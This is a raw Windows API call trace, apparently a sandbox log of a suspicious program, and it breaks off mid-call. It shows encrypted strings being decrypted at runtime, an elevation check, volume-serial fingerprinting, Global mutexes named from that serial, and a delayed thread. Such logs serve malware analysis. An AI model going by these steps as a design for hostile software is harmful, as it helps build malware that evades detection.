GetLastError () returned 0x0 [0118.725] SetLastError (dwErrCode=0x0) [0118.725] GetLastError () returned 0x0 [0118.725] SetLastError (dwErrCode=0x0) [0118.725] GetLastError () returned 0x0 [0118.726] SetLastError (dwErrCode=0x0) [0118.726] GetLastError () returned 0x0 [0118.726] SetLastError (dwErrCode=0x0) [0118.726] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x98) returned 0xe717f8 [0118.726] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x1f) returned 0xe71898 [0118.726] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x28) returned 0xe718c0 [0118.726] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x37) returned 0xe718f0 [0118.726] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x3c) returned 0xe71930 [0118.726] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x31) returned 0xe71978 [0118.726] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x14) returned 0xe719b8 [0118.726] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x24) returned 0xe719d8 [0118.726] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0xd) returned 0xe71a08 [0118.726] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x17) returned 0xe71a20 [0118.726] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x2b) returned 0xe71a40 [0118.726] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x15) returned 0xe71a78 [0118.726] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x17) returned 0xe71a98 [0118.726] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x22) returned 0xe71ab8 [0118.726] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0xe) returned 0xe71ae8 [0118.726] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0xc2) returned 0xe71b00 [0118.726] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x3e) returned 0xe71bd0 [0118.726] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x1b) returned 0xe71c18 [0118.726] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x1d) returned 0xe71c40 [0118.726] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x48) returned 0xe71c68 [0118.726] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x12) returned 0xe71cb8 [0118.726] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x18) returned 0xe71cd8 [0118.726] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x1b) returned 0xe71cf8 [0118.726] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x24) returned 0xe71d20 [0118.726] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x29) returned 0xe71d50 [0118.726] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x1e) returned 0xe71d88 [0118.726] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x6b) returned 0xe71db0 [0118.726] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x17) returned 0xe71e28 [0118.726] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x14) returned 0xe71e48 [0118.726] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0xf) returned 0xe71e68 [0118.726] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x16) returned 0xe71e80 [0118.726] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x28) returned 0xe71ea0 [0118.726] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x27) returned 0xe71ed0 [0118.726] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x12) returned 0xe71f00 [0118.726] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x21) returned 0xe71f20 [0118.726] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x10) returned 0xe71f50 [0118.726] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x1c) returned 0xe71f68 [0118.726] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x12) returned 0xe71f90 [0118.726] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe70fd0 | out: hHeap=0xe70000) returned 1 [0118.727] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0118.727] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x80) returned 0xe70fd0 [0118.727] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x1338156) returned 0x0 [0118.727] RtlSizeHeap (HeapHandle=0xe70000, Flags=0x0, MemoryPointer=0xe70fd0) returned 0x80 [0118.727] GetLastError () returned 0x0 [0118.727] SetLastError (dwErrCode=0x0) [0118.727] GetLastError () returned 0x0 [0118.727] SetLastError (dwErrCode=0x0) [0118.727] GetLastError () returned 0x0 [0118.727] SetLastError (dwErrCode=0x0) [0118.727] GetLastError () returned 0x0 [0118.727] SetLastError (dwErrCode=0x0) [0118.727] GetLastError () returned 0x0 [0118.727] SetLastError (dwErrCode=0x0) [0118.728] GetLastError () returned 0x0 [0118.728] SetLastError (dwErrCode=0x0) [0118.728] GetLastError () returned 0x0 [0118.728] SetLastError (dwErrCode=0x0) [0118.728] GetLastError () returned 0x0 [0118.728] SetLastError (dwErrCode=0x0) [0118.728] GetLastError () returned 0x0 [0118.728] SetLastError (dwErrCode=0x0) [0118.728] GetLastError () returned 0x0 [0118.728] SetLastError (dwErrCode=0x0) [0118.728] GetLastError () returned 0x0 [0118.728] SetLastError (dwErrCode=0x0) [0118.728] GetLastError () returned 0x0 [0118.728] SetLastError (dwErrCode=0x0) [0118.728] GetLastError () returned 0x0 [0118.728] SetLastError (dwErrCode=0x0) [0118.728] GetLastError () returned 0x0 [0118.728] SetLastError (dwErrCode=0x0) [0118.728] GetLastError () returned 0x0 [0118.728] SetLastError (dwErrCode=0x0) [0118.728] GetLastError () returned 0x0 [0118.728] SetLastError (dwErrCode=0x0) [0118.728] GetLastError () returned 0x0 [0118.728] SetLastError (dwErrCode=0x0) [0118.728] GetLastError () returned 0x0 [0118.728] SetLastError (dwErrCode=0x0) [0118.728] GetLastError () returned 0x0 [0118.728] SetLastError (dwErrCode=0x0) [0118.728] GetLastError () returned 0x0 [0118.729] SetLastError (dwErrCode=0x0) [0118.729] GetLastError () returned 0x0 [0118.729] SetLastError (dwErrCode=0x0) [0118.729] GetLastError () returned 0x0 [0118.729] SetLastError (dwErrCode=0x0) [0118.729] GetLastError () returned 0x0 [0118.729] SetLastError (dwErrCode=0x0) [0118.729] GetLastError () returned 0x0 [0118.729] SetLastError (dwErrCode=0x0) [0118.729] GetLastError () returned 0x0 [0118.729] SetLastError (dwErrCode=0x0) [0118.729] GetLastError () returned 0x0 [0118.729] SetLastError (dwErrCode=0x0) [0118.729] GetLastError () returned 0x0 [0118.729] SetLastError (dwErrCode=0x0) [0118.729] GetLastError () returned 0x0 [0118.729] SetLastError (dwErrCode=0x0) [0118.729] GetLastError () returned 0x0 [0118.729] SetLastError (dwErrCode=0x0) [0118.729] GetLastError () returned 0x0 [0118.729] SetLastError (dwErrCode=0x0) [0118.729] GetLastError () returned 0x0 [0118.729] SetLastError (dwErrCode=0x0) [0118.729] GetLastError () returned 0x0 [0118.729] SetLastError (dwErrCode=0x0) [0118.729] GetLastError () returned 0x0 [0118.729] SetLastError (dwErrCode=0x0) [0118.729] GetLastError () returned 0x0 [0118.729] SetLastError (dwErrCode=0x0) [0118.729] GetLastError () returned 0x0 [0118.730] SetLastError (dwErrCode=0x0) [0118.730] GetLastError () returned 0x0 [0118.730] SetLastError (dwErrCode=0x0) [0118.730] GetLastError () returned 0x0 [0118.730] SetLastError (dwErrCode=0x0) [0118.730] GetLastError () returned 0x0 [0118.730] SetLastError (dwErrCode=0x0) [0118.730] GetLastError () returned 0x0 [0118.730] SetLastError (dwErrCode=0x0) [0118.730] GetLastError () returned 0x0 [0118.730] SetLastError (dwErrCode=0x0) [0118.730] GetLastError () returned 0x0 [0118.730] SetLastError (dwErrCode=0x0) [0118.730] GetLastError () returned 0x0 [0118.730] SetLastError (dwErrCode=0x0) [0118.730] GetLastError () returned 0x0 [0118.730] SetLastError (dwErrCode=0x0) [0118.730] GetLastError () returned 0x0 [0118.730] SetLastError (dwErrCode=0x0) [0118.730] GetLastError () returned 0x0 [0118.730] SetLastError (dwErrCode=0x0) [0118.730] GetLastError () returned 0x0 [0118.730] SetLastError (dwErrCode=0x0) [0118.730] GetLastError () returned 0x0 [0118.730] SetLastError (dwErrCode=0x0) [0118.730] GetLastError () returned 0x0 [0118.730] SetLastError (dwErrCode=0x0) [0118.730] GetLastError () returned 0x0 [0118.730] SetLastError (dwErrCode=0x0) [0118.730] GetLastError () returned 0x0 [0118.731] SetLastError (dwErrCode=0x0) [0118.731] GetLastError () returned 0x0 [0118.731] SetLastError (dwErrCode=0x0) [0118.731] GetLastError () returned 0x0 [0118.731] SetLastError (dwErrCode=0x0) [0118.731] GetLastError () returned 0x0 [0118.731] SetLastError (dwErrCode=0x0) [0118.731] GetLastError () returned 0x0 [0118.731] SetLastError (dwErrCode=0x0) [0118.731] GetLastError () returned 0x0 [0118.731] SetLastError (dwErrCode=0x0) [0118.731] GetLastError () returned 0x0 [0118.731] SetLastError (dwErrCode=0x0) [0118.731] GetLastError () returned 0x0 [0118.731] SetLastError (dwErrCode=0x0) [0118.731] GetLastError () returned 0x0 [0118.731] SetLastError (dwErrCode=0x0) [0118.731] GetLastError () returned 0x0 [0118.731] SetLastError (dwErrCode=0x0) [0118.731] GetLastError () returned 0x0 [0118.731] SetLastError (dwErrCode=0x0) [0118.731] GetLastError () returned 0x0 [0118.731] SetLastError (dwErrCode=0x0) [0118.731] GetLastError () returned 0x0 [0118.732] SetLastError (dwErrCode=0x0) [0118.732] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x30) returned 0xe71fb0 [0118.732] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x32d0) returned 0xe71fe8 [0118.732] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x168) returned 0xe71058 [0118.732] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x10) returned 0xe711c8 [0118.732] CryptAcquireContextW (in: phProv=0x133fcf0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x133fcf0*=0x7868d8) returned 1 [0118.830] CryptImportKey (in: hProv=0x7868d8, pbData=0x53fcb0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53fd18 | out: phKey=0x53fd18*=0x7993c8) returned 1 [0118.838] CryptSetKeyParam (hKey=0x7993c8, dwParam=0x1, pbData=0x53fd00, dwFlags=0x0) returned 1 [0118.838] CryptDecrypt (in: hKey=0x7993c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe711c8, pdwDataLen=0x53fccc | out: pbData=0xe711c8, pdwDataLen=0x53fccc) returned 1 [0118.839] CryptDestroyKey (hKey=0x7993c8) returned 1 [0118.839] GetTickCount () returned 0xc284 [0118.839] GetLastError () returned 0x0 [0118.839] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x1c) returned 0xe711e0 [0118.839] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x1c) returned 0xe71208 [0118.839] GetVersion () returned 0x23f00206 [0118.839] GetCurrentProcess () returned 0xffffffff [0118.839] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x53fd24 | out: TokenHandle=0x53fd24*=0x1f0) returned 1 [0118.839] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x14, TokenInformation=0x53fd1c, TokenInformationLength=0x4, ReturnLength=0x53fd20 | out: TokenInformation=0x53fd1c, ReturnLength=0x53fd20) returned 1 [0118.839] CloseHandle (hObject=0x1f0) returned 1 [0118.839] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x20) returned 0xe71230 [0118.839] CryptImportKey (in: hProv=0x7868d8, pbData=0x53fc18, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53fc80 | out: phKey=0x53fc80*=0x799188) returned 1 [0118.839] CryptSetKeyParam (hKey=0x799188, dwParam=0x1, pbData=0x53fc68, dwFlags=0x0) returned 1 [0118.839] CryptDecrypt (in: hKey=0x799188, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe71230, pdwDataLen=0x53fc34 | out: pbData=0xe71230, pdwDataLen=0x53fc34) returned 1 [0118.839] CryptDestroyKey (hKey=0x799188) returned 1 [0118.839] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x1e) returned 0xe71258 [0118.839] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x1e) returned 0xe71280 [0118.839] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x90) returned 0xe712a8 [0118.839] CryptImportKey (in: hProv=0x7868d8, pbData=0x53fbf0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53fc58 | out: phKey=0x53fc58*=0x799508) returned 1 [0118.839] CryptSetKeyParam (hKey=0x799508, dwParam=0x1, pbData=0x53fc40, dwFlags=0x0) returned 1 [0118.839] CryptDecrypt (in: hKey=0x799508, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe712a8, pdwDataLen=0x53fc0c | out: pbData=0xe712a8, pdwDataLen=0x53fc0c) returned 1 [0118.839] CryptDestroyKey (hKey=0x799508) returned 1 [0118.839] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe712a8 | out: hHeap=0xe70000) returned 1 [0118.839] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xe71258, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0118.839] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71280 | out: hHeap=0xe70000) returned 1 [0118.839] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71230 | out: hHeap=0xe70000) returned 1 [0118.839] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x53fcc0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x53fcc0*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0118.840] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71258 | out: hHeap=0xe70000) returned 1 [0118.840] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x40) returned 0xe71230 [0118.840] CryptImportKey (in: hProv=0x7868d8, pbData=0x53fc4c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53fcb4 | out: phKey=0x53fcb4*=0x799508) returned 1 [0118.840] CryptSetKeyParam (hKey=0x799508, dwParam=0x1, pbData=0x53fc9c, dwFlags=0x0) returned 1 [0118.840] CryptDecrypt (in: hKey=0x799508, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe71230, pdwDataLen=0x53fc68 | out: pbData=0xe71230, pdwDataLen=0x53fc68) returned 1 [0118.840] CryptDestroyKey (hKey=0x799508) returned 1 [0118.840] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x34) returned 0xe71278 [0118.840] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773001") returned 0x0 [0118.840] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\1030B419773001") returned 0x1f0 [0118.840] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x0 [0118.840] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71230 | out: hHeap=0xe70000) returned 1 [0118.840] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71278 | out: hHeap=0xe70000) returned 1 [0118.840] ReleaseMutex (hMutex=0x1f0) returned 1 [0118.840] CloseHandle (hObject=0x1f0) returned 1 [0118.840] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x20) returned 0xe71230 [0118.840] CryptImportKey (in: hProv=0x7868d8, pbData=0x53fc2c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53fc94 | out: phKey=0x53fc94*=0x799788) returned 1 [0118.840] CryptSetKeyParam (hKey=0x799788, dwParam=0x1, pbData=0x53fc7c, dwFlags=0x0) returned 1 [0118.840] CryptDecrypt (in: hKey=0x799788, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe71230, pdwDataLen=0x53fc48 | out: pbData=0xe71230, pdwDataLen=0x53fc48) returned 1 [0118.840] CryptDestroyKey (hKey=0x799788) returned 1 [0118.840] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x1e) returned 0xe71258 [0118.840] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x1e) returned 0xe71280 [0118.840] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x90) returned 0xe712a8 [0118.840] CryptImportKey (in: hProv=0x7868d8, pbData=0x53fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53fc6c | out: phKey=0x53fc6c*=0x799788) returned 1 [0118.840] CryptSetKeyParam (hKey=0x799788, dwParam=0x1, pbData=0x53fc54, dwFlags=0x0) returned 1 [0118.840] CryptDecrypt (in: hKey=0x799788, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe712a8, pdwDataLen=0x53fc20 | out: pbData=0xe712a8, pdwDataLen=0x53fc20) returned 1 [0118.840] CryptDestroyKey (hKey=0x799788) returned 1 [0118.840] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe712a8 | out: hHeap=0xe70000) returned 1 [0118.840] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xe71258, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0118.840] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71280 | out: hHeap=0xe70000) returned 1 [0118.840] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71230 | out: hHeap=0xe70000) returned 1 [0118.840] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x53fcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x53fcd4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0118.841] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71258 | out: hHeap=0xe70000) returned 1 [0118.841] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x40) returned 0xe71230 [0118.841] CryptImportKey (in: hProv=0x7868d8, pbData=0x53fc60, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53fcc8 | out: phKey=0x53fcc8*=0x799788) returned 1 [0118.841] CryptSetKeyParam (hKey=0x799788, dwParam=0x1, pbData=0x53fcb0, dwFlags=0x0) returned 1 [0118.841] CryptDecrypt (in: hKey=0x799788, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe71230, pdwDataLen=0x53fc7c | out: pbData=0xe71230, pdwDataLen=0x53fc7c) returned 1 [0118.841] CryptDestroyKey (hKey=0x799788) returned 1 [0118.841] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x34) returned 0xe71278 [0118.841] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773000") returned 0x0 [0118.841] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\1030B419773000") returned 0x1f0 [0118.841] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x0 [0118.841] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71230 | out: hHeap=0xe70000) returned 1 [0118.841] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71278 | out: hHeap=0xe70000) returned 1 [0118.841] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1331f5f, lpParameter=0x53fd68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x218 [0118.842] Sleep (dwMilliseconds=0x1388) [0123.957] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x20) returned 0xe71460 [0123.957] CryptImportKey (in: hProv=0x7868d8, pbData=0x53fc18, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53fc80 | out: phKey=0x53fc80*=0x7b5e20) returned 1 [0123.957] CryptSetKeyParam (hKey=0x7b5e20, dwParam=0x1, pbData=0x53fc68, dwFlags=0x0) returned 1 [0123.957] CryptDecrypt (in: hKey=0x7b5e20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe71460, pdwDataLen=0x53fc34 | out: pbData=0xe71460, pdwDataLen=0x53fc34) returned 1 [0123.957] CryptDestroyKey (hKey=0x7b5e20) returned 1 [0123.957] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x1e) returned 0xe71488 [0123.957] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x1e) returned 0xe714b0 [0123.957] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x90) returned 0xe752c0 [0123.957] CryptImportKey (in: hProv=0x7868d8, pbData=0x53fbf0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53fc58 | out: phKey=0x53fc58*=0x7b5e20) returned 1 [0123.957] CryptSetKeyParam (hKey=0x7b5e20, dwParam=0x1, pbData=0x53fc40, dwFlags=0x0) returned 1 [0123.958] CryptDecrypt (in: hKey=0x7b5e20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe752c0, pdwDataLen=0x53fc0c | out: pbData=0xe752c0, pdwDataLen=0x53fc0c) returned 1 [0123.958] CryptDestroyKey (hKey=0x7b5e20) returned 1 [0123.958] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe752c0 | out: hHeap=0xe70000) returned 1 [0123.958] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xe71488, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0123.958] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe714b0 | out: hHeap=0xe70000) returned 1 [0123.958] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71460 | out: hHeap=0xe70000) returned 1 [0123.958] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x53fcc0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x53fcc0*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0123.958] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71488 | out: hHeap=0xe70000) returned 1 [0123.958] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x40) returned 0xe71460 [0123.958] CryptImportKey (in: hProv=0x7868d8, pbData=0x53fc4c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53fcb4 | out: phKey=0x53fcb4*=0x7b5d60) returned 1 [0123.958] CryptSetKeyParam (hKey=0x7b5d60, dwParam=0x1, pbData=0x53fc9c, dwFlags=0x0) returned 1 [0123.958] CryptDecrypt (in: hKey=0x7b5d60, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe71460, pdwDataLen=0x53fc68 | out: pbData=0xe71460, pdwDataLen=0x53fc68) returned 1 [0123.958] CryptDestroyKey (hKey=0x7b5d60) returned 1 [0123.958] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x34) returned 0xe714a8 [0123.958] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773001") returned 0x0 [0123.958] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\1030B419773001") returned 0x490 [0123.958] WaitForSingleObject (hHandle=0x490, dwMilliseconds=0x0) returned 0x0 [0123.958] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71460 | out: hHeap=0xe70000) returned 1 [0123.958] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe714a8 | out: hHeap=0xe70000) returned 1 [0123.958] ReleaseMutex (hMutex=0x490) returned 1 [0123.958] CloseHandle (hObject=0x490) returned 1 [0123.958] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x60) returned 0xe71460 [0123.958] CryptImportKey (in: hProv=0x7868d8, pbData=0x53fc70, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53fcd8 | out: phKey=0x53fcd8*=0x7b5d60) returned 1 [0123.958] CryptSetKeyParam (hKey=0x7b5d60, dwParam=0x1, pbData=0x53fcc0, dwFlags=0x0) returned 1 [0123.958] CryptDecrypt (in: hKey=0x7b5d60, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe71460, pdwDataLen=0x53fc8c | out: pbData=0xe71460, pdwDataLen=0x53fc8c) returned 1 [0123.958] CryptDestroyKey (hKey=0x7b5d60) returned 1 [0123.958] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x20) returned 0xe714c8 [0123.959] CryptImportKey (in: hProv=0x7868d8, pbData=0x53fc48, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53fcb0 | out: phKey=0x53fcb0*=0x7b5ba0) returned 1 [0123.959] CryptSetKeyParam (hKey=0x7b5ba0, dwParam=0x1, pbData=0x53fc98, dwFlags=0x0) returned 1 [0123.959] CryptDecrypt (in: hKey=0x7b5ba0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe714c8, pdwDataLen=0x53fc64 | out: pbData=0xe714c8, pdwDataLen=0x53fc64) returned 1 [0123.959] CryptDestroyKey (hKey=0x7b5ba0) returned 1 [0123.959] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x1e) returned 0xe714f0 [0123.959] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x1e) returned 0xe71518 [0123.959] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x90) returned 0xe752c0 [0123.959] CryptImportKey (in: hProv=0x7868d8, pbData=0x53fc20, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53fc88 | out: phKey=0x53fc88*=0x7b5a60) returned 1 [0123.959] CryptSetKeyParam (hKey=0x7b5a60, dwParam=0x1, pbData=0x53fc70, dwFlags=0x0) returned 1 [0123.959] CryptDecrypt (in: hKey=0x7b5a60, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe752c0, pdwDataLen=0x53fc3c | out: pbData=0xe752c0, pdwDataLen=0x53fc3c) returned 1 [0123.959] CryptDestroyKey (hKey=0x7b5a60) returned 1 [0123.959] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe752c0 | out: hHeap=0xe70000) returned 1 [0123.959] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0xe714f0, nSize=0xf | out: lpDst="") returned 0x1e [0123.959] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71518 | out: hHeap=0xe70000) returned 1 [0123.959] RtlReAllocateHeap (Heap=0xe70000, Flags=0x0, Ptr=0xe714f0, Size=0x3a) returned 0xe714f0 [0123.959] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x3a) returned 0xe752c0 [0123.960] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x90) returned 0xe75308 [0123.960] CryptImportKey (in: hProv=0x7868d8, pbData=0x53fc1c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53fc84 | out: phKey=0x53fc84*=0x7b5f60) returned 1 [0123.960] CryptSetKeyParam (hKey=0x7b5f60, dwParam=0x1, pbData=0x53fc6c, dwFlags=0x0) returned 1 [0123.960] CryptDecrypt (in: hKey=0x7b5f60, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe75308, pdwDataLen=0x53fc38 | out: pbData=0xe75308, pdwDataLen=0x53fc38) returned 1 [0123.960] CryptDestroyKey (hKey=0x7b5f60) returned 1 [0123.960] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe75308 | out: hHeap=0xe70000) returned 1 [0123.960] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0xe714f0, nSize=0x1d | out: lpDst="") returned 0x1e [0123.960] HeapFree (in: 